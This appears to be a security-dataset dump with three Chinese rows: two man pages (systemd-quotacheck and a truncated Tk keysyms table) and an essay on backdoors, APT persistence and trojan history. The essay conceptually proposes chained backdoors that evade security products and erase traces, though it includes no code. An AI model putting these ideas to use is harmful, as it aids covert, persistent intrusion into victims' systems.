text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
'\" t
.TH "SYSTEMD\-QUOTACHECK\&.SERVICE" "8" "" "systemd 231" "systemd-quotacheck.service"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
systemd-quotacheck.service, systemd-quotacheck \- 文件系统配额检查
.SH "SYNOPSIS"
.PP
systemd\-quotacheck\&.service
.PP
/usr/lib/systemd/systemd\-quotacheck
.SH "描述"
.PP
systemd\-quotacheck\&.service
服务 可用于检查文件系统配额。在系统启动过程中,当挂载完所有必要的文件系统之后, 仅在确实存在至少一个开启了配额限制的文件系统的情况下, 该服务将运行一次。
.SH "内核引导选项"
.PP
systemd\-quotacheck
能够识别 下列内核引导选项:
.PP
\fIquotacheck\&.mode=\fR
.RS 4
表示操作模式,有效值为
"auto",
"force",
"skip"
之一。 默认值
"auto"
表示 仅在确实存在开启了配额限制的文件系统的情况下, 才进行文件系统配额检查。
"force"
表示无条件的对所有文件系统强制进行 配额检查。"skip"
表示无条件的强制跳过所有文件系统的配额检查。
.RE
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBquotacheck\fR(8),
\fBsystemd-fsck@.service\fR(8)
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
|
sec-knowleage
|
第四季是一个过渡季,过渡后门在对抗升级中由传统后门,衍生成锁定目标的制定后门。引用百度百科的“后门程序"的相关解释:
https://baike.baidu.com/item/%E5%90%8E%E9%97%A8%E7%A8%8B%E5%BA%8F/108154
安全从业人员,其实至少一直在与传统后门对抗,比如最常见的webshell免杀与webshell过waf。应急中的样本取证查杀远控残留文件等。但是webshell,远控仅仅又是“backdoor”的其中一种。
这里按照上几季的风格继续引用几个概念,只有概念清晰,才能了解如何对抗。
1:安全从业人员为什么要了解后门?
防御是以市场为核心的,而不是以项目为核心。需要对抗的可能是黑产从业者的流量劫持相关
后门,或者是政治黑客的高持续渗透权限把控后门等。
2:攻击人员为什么要了解后门?
随着对抗传统后门的产品越来越成熟,由特征查杀,到行为查杀,到态势感知。到大数据联合特征溯源锁定,如何反追踪,是一个非常值得思考的问题。
3:后门与项目的关联是什么?
某项目,被入侵,应急并加固解决,若干天后,再次被入侵依然篡改为某博彩。导致安全从业人员,客户之间的问题。
4:后门与安全产品的关联是什么?
某客户购买某安全产品套装,在实战中,一般由非重点关注服务器迂回渗透到核心服务器来跨过安全产品监控,得到相关权限后,后门起到越过安全产品。它会涉及对其他附属安全产品的影响。如客户质疑:为什么我都买了你们的套装,还被入侵。并且这还是第二次了。
思维跳出以上4条,来看下进一年的部分相关安全事件:




思维跳出以上4条安全事件,这里再一次引入百度百科的APT的主要特性:
**——潜伏性:**这些新型的攻击和威胁可能在用户环境中存在一年以上或更久,他们不断收集各种信息,直到收集到重要情报。而这些发动APT攻击的黑客目的往往不是为了在短时间内获利,而是把“被控主机”当成跳板,持续搜索,直到能彻底掌握所针对的目标人、事、物,所以这种APT攻击模式,实质上是一种“恶意商业间谍威胁”。
**——持续性:**由于APT攻击具有持续性甚至长达数年的特征,这让企业的管理人员无从察觉。在此期间,这种“持续性”体现在攻击者不断尝试的各种攻击手段,以及渗透到网络内部后长期蛰伏。
**——锁定特定目标:**针对特定政府或企业,长期进行有计划性、组织性的窃取情报行为,针对被锁定对象寄送几可乱真的社交工程恶意邮件,如冒充客户的来信,取得在计算机植入恶意软件的第一个机会。
**——安装远程控制工具:**攻击者建立一个类似僵尸网络Botnet的远程控制架构,攻击者会定期传送有潜在价值文件的副本给命令和控制服务器(C&C Server)审查。将过滤后的敏感机密数据,利用加密的方式外传。
一次针对特定对象,长期、有计划性渗透的本质是什么?窃取数据下载到本地,或者以此次渗透来达到变现目的。引用如图:


一次具有针对性的渗透,绝对不单单是以渗透DMZ区为主,重要资料一般在内网服务器区(包括但不限制于数据库服务器,文件服务器,OA服务器),与内网办公区(包括但不限制于个人机,开发机,财务区)等。而往往这样的高级持续渗透,不能是一气呵成,需要一定时间内,来渗透到资料所在区域。而这里其中一个重要的环节就是对后门的要求,在渗透期间内(包括但不限制于一周到月甚至到年)以保持后续渗透。
传统型的后门不在满足攻击者的需求,而传统型的木马后门,大致可分为六代:
第一代,是最原始的木马程序。主要是简单的密码窃取,通过电子邮件发送信息等,具备了木马最基本的功能。
第二代,在技术上有了很大的进步,冰河是中国木马的典型代表之一。
第三代,主要改进在数据传递技术方面,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了杀毒软件查杀识别的难度。
第四代,在进程隐藏方面有了很大改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。灰鸽子和蜜蜂大盗是比较出名的DLL木马。
第五代,驱动级木马。驱动级木马多数都使用了大量的Rootkit技术来达到在深度隐藏的效果,并深入到内核空间的,感染后针对杀毒软件和网络防火墙进行攻击,可将系统SSDT初始化,导致杀毒防火墙失去效应。有的驱动级木马可驻留BIOS,并且很难查杀。
第六代,随着身份认证UsbKey和杀毒软件主动防御的兴起,黏虫技术类型和特殊反显技术类型木马逐渐开始系统化。前者主要以盗取和篡改用户敏感信息为主,后者以动态口令和硬证书攻击为主。PassCopy和暗黑蜘蛛侠是这类木马的代表。
以远控举例,远控最开始生成的RAT功能一体化(包括但不限制于文件传输,命令执行等),后衍生成生成RAT支持插件式来达到最终目的。
以上的几代包括以上远控共同点,以独立服务或者独立进程,独立端口等来到达目的。难以对抗目前的反病毒反后门程序。那么传统型后门权限维持就不能满足目前的需求。
以第二季的demo举例,它无自己的进程,端口,服务,而是借助notepad++(非dll劫持)来生成php内存shell(这个过程相当于插件生成),并且无自启,当服务器重启后,继续等待管理员使用notepad++,它属于一个AB链后门,由A-notepad生成B-shell,以B-shell去完成其他工作。如果继续改进Demo,改造ABC链后门,A负责生成,B负责清理痕迹,C负责工作呢?这是一个攻击者应该思考的问题。
而后门的主要工作有2点,1越过安全产品。2维持持续渗透权限。
文章的结尾,这不是一个notepad++的后门介绍,它是一个demo,一个类后门,一个具有源码可控类的后门。
> Micropoor
|
sec-knowleage
|
'\"
'\" Copyright (c) 1998-2000 by Scriptics Corporation.
'\" All rights reserved.
'\"
'\" RCS: @(#) $Id: keysyms.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: keysyms.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH keysyms 3tk 8.3 Tk "Tk Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
keysyms \- Tk 可以识别的符号 (keysyms)
.BE
.SH "描述 DESCRIPTION"
.PP
Tk 在指定按键绑定 (例如,\fBbind . <Key-\fR\fIkeysym\fR\fB>\fR) 时,可以识别大量符号。下面的列表枚举了 Tk 可以识别的所有符号。注意并不是所有的符号在每种平台下都可用。例如,在 Unix 系统中,一个特殊符号的存在依赖于键盘替换表 (keyboard modifier map) 的配置。这个列表给出了符号还有它们的十进制与十六进制值。
.PP
.CS
space 32 0x0020
exclam 33 0x0021
quotedbl 34 0x0022
numbersign 35 0x0023
dollar 36 0x0024
percent 37 0x0025
ampersand 38 0x0026
quoteright 39 0x0027
parenleft 40 0x0028
parenright 41 0x0029
asterisk 42 0x002a
plus 43 0x002b
comma 44 0x002c
minus 45 0x002d
period 46 0x002e
slash 47 0x002f
0 48 0x0030
1 49 0x0031
2 50 0x0032
3 51 0x0033
4 52 0x0034
5 53 0x0035
6 54 0x0036
7 55 0x0037
8 56 0x0038
9 57 0x0039
colon 58 0x003a
semicolon 59 0x003b
less 60 0x003c
equal 61 0x003d
greater 62 0x003e
question 63 0x003f
at 64 0x0040
A 65 0x0041
B 66 0x0042
C 67 0x0043
D 68 0x0044
E 69 0x0045
F 70 0x0046
G 71 0x0047
H 72 0x0048
I 73 0x0049
J 74 0x004a
K 75 0x004b
L 76 0x004c
M 77 0x004d
N 78 0x004e
O 79 0x004f
P 80 0x0050
Q 81 0x0051
R 82 0x0052
S 83 0x0053
T 84 0x0054
U 85 0x0055
V 86 0x0056
W 87 0x0057
X 88 0x0058
Y 89 0x0059
Z 90 0x005a
bracketleft 91 0x005b
backslash 92 0x005c
bracketright 93 0x005d
asciicircum 94 0x005e
underscore 95 0x005f
quoteleft 96 0x0060
a 97 0x0061
b 98 0x0062
c 99 0x0063
d 100 0x0064
e 101 0x0065
f 102 0x0066
g 103 0x0067
h 104 0x0068
i 105 0x0069
j 106 0x006a
k 107 0x006b
l 108 0x006c
m 109 0x006d
n 110 0x006e
o 111 0x006f
p 112 0x0070
q 113 0x0071
r 114 0x0072
s 115 0x0073
t 116 0x0074
u 117 0x0075
v 118 0x0076
w 119 0x0077
x 120 0x0078
y 121 0x0079
z 122 0x007a
braceleft 123 0x007b
bar 124 0x007c
braceright 125 0x007d
asciitilde 126 0x007e
nobreakspace 160 0x00a0
exclamdown 161 0x00a1
cent 162 0x00a2
sterling 163 0x00a3
currency 164 0x00a4
yen 165 0x00a5
brokenbar 166 0x00a6
section 167 0x00a7
diaeresis 168 0x00a8
copyright 169 0x00a9
ordfeminine 170 0x00aa
guillemotleft 171 0x00ab
notsign 172 0x00ac
hyphen 173 0x00ad
registered 174 0x00ae
macron 175 0x00af
degree 176 0x00b0
plusminus 177 0x00b1
twosuperior 178 0x00b2
threesuperior 179 0x00b3
acute 180 0x00b4
mu 181 0x00b5
paragraph 182 0x00b6
periodcentered 183 0x00b7
cedilla 184 0x00b8
onesuperior 185 0x00b9
masculine 186 0x00ba
guillemotright 187 0x00bb
onequarter 188 0x00bc
onehalf 189 0x00bd
threequarters 190 0x00be
questiondown 191 0x00bf
Agrave 192 0x00c0
Aacute 193 0x00c1
Acircumflex 194 0x00c2
Atilde 195 0x00c3
Adiaeresis 196 0x00c4
Aring 197 0x00c5
AE 198 0x00c6
Ccedilla 199 0x00c7
Egrave 200 0x00c8
Eacute 201 0x00c9
Ecircumflex 202 0x00ca
Ediaeresis 203 0x00cb
Igrave 204 0x00cc
Iacute 205 0x00cd
Icircumflex 206 0x00ce
Idiaeresis 207 0x00cf
Eth 208 0x00d0
Ntilde 209 0x00d1
Ograve 210 0x00d2
Oacute 211 0x00d3
Ocircumflex 212 0x00d4
Otilde 213 0x00d5
Odiaeresis 214 0x00d6
multiply 215 0x00d7
Ooblique 216 0x00d8
Ugrave 217 0x00d9
Uacute 218 0x00da
Ucircumflex 219 0x00db
Udiaeresis 220 0x00dc
Yacute 221 0x00dd
Thorn 222 0x00de
ssharp 223 0x00df
agrave 224 0x00e0
aacute 225 0x00e1
acircumflex 226 0x00e2
atilde 227 0x00e3
adiaeresis 228 0x00e4
aring 229 0x00e5
ae 230 0x00e6
ccedilla 231 0x00e7
egrave 232 0x00e8
eacute 233 0x00e9
ecircumflex 234 0x00ea
ediaeresis 235 0x00eb
igrave 236 0x00ec
iacute 237 0x00ed
icircumflex 238 0x00ee
idiaeresis 239 0x00ef
eth 240 0x00f0
ntilde 241 0x00f1
ograve 242 0x00f2
oacute 243 0x00f3
ocircumflex 244 0x00f4
otilde 245 0x00f5
odiaeresis 246 0x00f6
division 247 0x00f7
oslash 248 0x00f8
ugrave 249 0x00f9
uacute 250 0x00fa
ucircumflex 251 0x00fb
udiaeresis 252 0x00fc
yacute 253 0x00fd
thorn 254 0x00fe
ydiaeresis 255 0x00ff
Aogonek 417 0x01a1
breve 418 0x01a2
Lstroke 419 0x01a3
Lcaron 421 0x01a5
Sacute 422 0x01a6
Scaron 425 0x01a9
Scedilla 426 0x01aa
Tcaron 427 0x01ab
Zacute 428 0x01ac
.CE
.CS
Zcaron 430 0x01ae
Zabovedot 431 0x01af
aogonek 433 0x01b1
ogonek 434 0x01b2
lstroke 435 0x01b3
lcaron 437 0x01b5
sacute 438 0x01b6
caron 439 0x01b7
scaron 441 0x01b9
scedilla 442 0x01ba
tcaron 443 0x01bb
zacute 444 0x01bc
doubleacute 445 0x01bd
zcaron 446 0x01be
zabovedot 447 0x01bf
Racute 448 0x01c0
Abreve 451 0x01c3
Cacute 454 0x01c6
Ccaron 456 0x01c8
Eogonek 458 0x01ca
Ecaron 460 0x01cc
Dcaron 463 0x01cf
Nacute 465 0x01d1
Ncaron 466 0x01d2
Odoubleacute 469 0x01d5
Rcaron 472 0x01d8
Uring 473 0x01d9
Udoubleacute 475 0x01db
Tcedilla 478 0x01de
racute 480 0x01e0
abreve 483 0x01e3
cacute 486 0x01e6
ccaron 488 0x01e8
eogonek 490 0x01ea
ecaron 492 0x01ec
dcaron 495 0x01ef
nacute 497 0x01f1
ncaron 498 0x01f2
odoubleacute 501 0x01f5
rcaron 504 0x01f8
uring 505 0x01f9
udoubleacute 507 0x01fb
tcedilla 510 0x01fe
abovedot 511 0x01ff
Hstroke 673 0x02a1
Hcircumflex 678 0x02a6
Iabovedot 681 0x02a9
Gbreve 683 0x02ab
Jcircumflex 684 0x02ac
hstroke 689 0x02b1
hcircumflex 694 0x02b6
idotless 697 0x02b9
gbreve 699 0x02bb
jcircumflex 700 0x02bc
Cabovedot 709 0x02c5
Ccircumflex 710 0x02c6
Gabovedot 725 0x02d5
Gcircumflex 728 0x02d8
Ubreve 733 0x02dd
Scircumflex 734 0x02de
cabovedot 741 0x02e5
ccircumflex 742 0x02e6
gabovedot 757 0x02f5
gcircumflex 760 0x02f8
ubreve 765 0x02fd
scircumflex 766 0x02fe
kappa 930 0x03a2
Rcedilla 931 0x03a3
Itilde 933 0x03a5
Lcedilla 934 0x03a6
Emacron 938 0x03aa
Gcedilla 939 0x03ab
Tslash 940 0x03ac
rcedilla 947 0x03b3
itilde 949 0x03b5
lcedilla 950 0x03b6
emacron 954 0x03ba
gacute 955 0x03bb
tslash 956 0x03bc
ENG 957 0x03bd
eng 959 0x03bf
Amacron 960 0x03c0
Iogonek 967 0x03c7
Eabovedot 972 0x03cc
Imacron 975 0x03cf
Ncedilla 977 0x03d1
Omacron 978 0x03d2
Kcedilla 979 0x03d3
Uogonek 985 0x03d9
Utilde 989 0x03dd
Umacron 990 0x03de
amacron 992 0x03e0
iogonek 999 0x03e7
eabovedot 1004 0x03ec
imacron 1007 0x03ef
ncedilla 1009 0x03f1
omacron 1010 0x03f2
kcedilla 1011 0x03f3
uogonek 1017 0x03f9
utilde 1021 0x03fd
umacron 1022 0x03fe
overline 1150 0x047e
kana_fullstop 1185 0x04a1
kana_openingbracket 1186 0x04a2
kana_closingbracket 1187 0x04a3
kana_comma 1188 0x04a4
kana_middledot 1189 0x04a5
kana_WO 1190 0x04a6
kana_a 1191 0x04a7
kana_i 1192 0x04a8
kana_u 1193 0x04a9
kana_e 1194 0x04aa
kana_o 1195 0x04ab
kana_ya 1196 0x04ac
kana_yu 1197 0x04ad
kana_yo 1198 0x04ae
kana_tu 1199 0x04af
prolongedsound 1200 0x04b0
kana_A 1201 0x04b1
kana_I 1202 0x04b2
kana_U 1203 0x04b3
kana_E 1204 0x04b4
kana_O 1205 0x04b5
kana_KA 1206 0x04b6
kana_KI 1207 0x04b7
kana_KU 1208 0x04b8
kana_KE 1209 0x04b9
kana_KO 1210 0x04ba
kana_SA 1211 0x04bb
kana_SHI 1212 0x04bc
kana_SU 1213 0x04bd
kana_SE 1214 0x04be
kana_SO 1215 0x04bf
kana_TA 1216 0x04c0
kana_TI 1217 0x04c1
kana_TU 1218 0x04c2
kana_TE 1219 0x04c3
kana_TO 1220 0x04c4
kana_NA 1221 0x04c5
kana_NI 1222 0x04c6
kana_NU 1223 0x04c7
kana_NE 1224 0x04c8
kana_NO 1225 0x04c9
kana_HA 1226 0x04ca
kana_HI 1227 0x04cb
kana_HU 1228 0x04cc
kana_HE 1229 0x04cd
kana_HO 1230 0x04ce
kana_MA 1231 0x04cf
kana_MI 1232 0x04d0
kana_MU 1233 0x04d1
kana_ME 1234 0x04d2
kana_MO 1235 0x04d3
kana_YA 1236 0x04d4
kana_YU 1237 0x04d5
kana_YO 1238 0x04d6
kana_RA 1239 0x04d7
kana_RI 1240 0x04d8
kana_RU 1241 0x04d9
kana_RE 1242 0x04da
kana_RO 1243 0x04db
kana_WA 1244 0x04dc
kana_N 1245 0x04dd
voicedsound 1246 0x04de
semivoicedsound 1247 0x04df
Arabic_comma 1452 0x05ac
Arabic_semicolon 1467 0x05bb
Arabic_question_mark 1471 0x05bf
Arabic_hamza 1473 0x05c1
Arabic_maddaonalef 1474 0x05c2
Arabic_hamzaonalef 1475 0x05c3
Arabic_hamzaonwaw 1476 0x05c4
Arabic_hamzaunderalef 1477 0x05c5
Arabic_hamzaonyeh 1478 0x05c6
Arabic_alef 1479 0x05c7
Arabic_beh 1480 0x05c8
Arabic_tehmarbuta 1481 0x05c9
Arabic_teh 1482 0x05ca
Arabic_theh 1483 0x05cb
Arabic_jeem 1484 0x05cc
Arabic_hah 1485 0x05cd
Arabic_khah 1486 0x05ce
Arabic_dal 1487 0x05cf
Arabic_thal 1488 0x05d0
Arabic_ra 1489 0x05d1
Arabic_zain 1490 0x05d2
Arabic_seen 1491 0x05d3
Arabic_sheen 1492 0x05d4
Arabic_sad 1493 0x05d5
Arabic_dad 1494 0x05d6
Arabic_tah 1495 0x05d7
Arabic_zah 1496 0x05d8
Arabic_ain 1497 0x05d9
Arabic_ghain 1498 0x05da
Arabic_tatweel 1504 0x05e0
Arabic_feh 1505 0x05e1
Arabic_qaf 1506 0x05e2
Arabic_kaf 1507 0x05e3
Arabic_lam 1508 0x05e4
Arabic_meem 1509 0x05e5
.CE
.CS
Arabic_noon 1510 0x05e6
Arabic_heh 1511 0x05e7
Arabic_waw 1512 0x05e8
Arabic_alefmaksura 1513 0x05e9
Arabic_yeh 1514 0x05ea
Arabic_fathatan 1515 0x05eb
Arabic_dammatan 1516 0x05ec
Arabic_kasratan 1517 0x05ed
Arabic_fatha 1518 0x05ee
Arabic_damma 1519 0x05ef
Arabic_kasra 1520 0x05f0
Arabic_shadda 1521 0x05f1
Arabic_sukun 1522 0x05f2
Serbian_dje 1697 0x06a1
Macedonia_gje 1698 0x06a2
Cyrillic_io 1699 0x06a3
Ukranian_je 1700 0x06a4
Macedonia_dse 1701 0x06a5
Ukranian_i 1702 0x06a6
Ukranian_yi 1703 0x06a7
Serbian_je 1704 0x06a8
Serbian_lje 1705 0x06a9
Serbian_nje 1706 0x06aa
Serbian_tshe 1707 0x06ab
Macedonia_kje 1708 0x06ac
Byelorussian_shortu 1710 0x06ae
Serbian_dze 1711 0x06af
numerosign 1712 0x06b0
Serbian_DJE 1713 0x06b1
Macedonia_GJE 1714 0x06b2
Cyrillic_IO 1715 0x06b3
Ukranian_JE 1716 0x06b4
Macedonia_DSE 1717 0x06b5
Ukranian_I 1718 0x06b6
Ukranian_YI 1719 0x06b7
Serbian_JE 1720 0x06b8
Serbian_LJE 1721 0x06b9
Serbian_NJE 1722 0x06ba
Serbian_TSHE 1723 0x06bb
Macedonia_KJE 1724 0x06bc
Byelorussian_SHORTU 1726 0x06be
Serbian_DZE 1727 0x06bf
Cyrillic_yu 1728 0x06c0
Cyrillic_a 1729 0x06c1
Cyrillic_be 1730 0x06c2
Cyrillic_tse 1731 0x06c3
Cyrillic_de 1732 0x06c4
Cyrillic_ie 1733 0x06c5
Cyrillic_ef 1734 0x06c6
Cyrillic_ghe 1735 0x06c7
Cyrillic_ha 1736 0x06c8
Cyrillic_i 1737 0x06c9
Cyrillic_shorti 1738 0x06ca
Cyrillic_ka 1739 0x06cb
Cyrillic_el 1740 0x06cc
Cyrillic_em 1741 0x06cd
Cyrillic_en 1742 0x06ce
Cyrillic_o 1743 0x06cf
Cyrillic_pe 1744 0x06d0
Cyrillic_ya 1745 0x06d1
Cyrillic_er 1746 0x06d2
Cyrillic_es 1747 0x06d3
Cyrillic_te 1748 0x06d4
Cyrillic_u 1749 0x06d5
Cyrillic_zhe 1750 0x06d6
Cyrillic_ve 1751 0x06d7
Cyrillic_softsign 1752 0x06d8
Cyrillic_yeru 1753 0x06d9
Cyrillic_ze 1754 0x06da
Cyrillic_sha 1755 0x06db
Cyrillic_e 1756 0x06dc
Cyrillic_shcha 1757 0x06dd
Cyrillic_che 1758 0x06de
Cyrillic_hardsign 1759 0x06df
Cyrillic_YU 1760 0x06e0
Cyrillic_A 1761 0x06e1
Cyrillic_BE 1762 0x06e2
Cyrillic_TSE 1763 0x06e3
Cyrillic_DE 1764 0x06e4
Cyrillic_IE 1765 0x06e5
Cyrillic_EF 1766 0x06e6
Cyrillic_GHE 1767 0x06e7
Cyrillic_HA 1768 0x06e8
Cyrillic_I 1769 0x06e9
Cyrillic_SHORTI 1770 0x06ea
Cyrillic_KA 1771 0x06eb
Cyrillic_EL 1772 0x06ec
Cyrillic_EM 1773 0x06ed
Cyrillic_EN 1774 0x06ee
Cyrillic_O 1775 0x06ef
Cyrillic_PE 1776 0x06f0
Cyrillic_YA 1777 0x06f1
Cyrillic_ER 1778 0x06f2
Cyrillic_ES 1779 0x06f3
Cyrillic_TE 1780 0x06f4
Cyrillic_U 1781 0x06f5
Cyrillic_ZHE 1782 0x06f6
Cyrillic_VE 1783 0x06f7
Cyrillic_SOFTSIGN 1784 0x06f8
Cyrillic_YERU 1785 0x06f9
Cyrillic_ZE 1786 0x06fa
Cyrillic_SHA 1787 0x06fb
Cyrillic_E 1788 0x06fc
Cyrillic_SHCHA 1789 0x06fd
Cyrillic_CHE 1790 0x06fe
Cyrillic_HARDSIGN 1791 0x06ff
Greek_ALPHAaccent 1953 0x07a1
Greek_EPSILONaccent 1954 0x07a2
Greek_ETAaccent 1955 0x07a3
Greek_IOTAaccent 1956 0x07a4
Greek_IOTAdiaeresis 1957 0x07a5
Greek_IOTAaccentdiaeresis 1958 0x07a6
Greek_OMICRONaccent 1959 0x07a7
Greek_UPSILONaccent 1960 0x07a8
Greek_UPSILONdieresis 1961 0x07a9
Greek_UPSILONaccentdieresis 1962 0x07aa
Greek_OMEGAaccent 1963 0x07ab
Greek_alphaaccent 1969 0x07b1
Greek_epsilonaccent 1970 0x07b2
Greek_etaaccent 1971 0x07b3
Greek_iotaaccent 1972 0x07b4
Greek_iotadieresis 1973 0x07b5
Greek_iotaaccentdieresis 1974 0x07b6
Greek_omicronaccent 1975 0x07b7
Greek_upsilonaccent 1976 0x07b8
Greek_upsilondieresis 1977 0x07b9
Greek_upsilonaccentdieresis 1978 0x07ba
Greek_omegaaccent 1979 0x07bb
Greek_ALPHA 1985 0x07c1
Greek_BETA 1986 0x07c2
Greek_GAMMA 1987 0x07c3
Greek_DELTA 1988 0x07c4
Greek_EPSILON 1989 0x07c5
Greek_ZETA 1990 0x07c6
Greek_ETA 1991 0x07c7
Greek_THETA 1992 0x07c8
Greek_IOTA 1993 0x07c9
Greek_KAPPA 1994 0x07ca
Greek_LAMBDA 1995 0x07cb
Greek_MU 1996 0x07cc
Greek_NU 1997 0x07cd
Greek_XI 1998 0x07ce
Greek_OMICRON 1999 0x07cf
Greek_PI 2000 0x07d0
Greek_RHO 2001 0x07d1
Greek_SIGMA 2002 0x07d2
Greek_TAU 2004 0x07d4
Greek_UPSILON 2005 0x07d5
Greek_PHI 2006 0x07d6
Greek_CHI 2007 0x07d7
Greek_PSI 2008 0x07d8
Greek_OMEGA 2009 0x07d9
Greek_alpha 2017 0x07e1
Greek_beta 2018 0x07e2
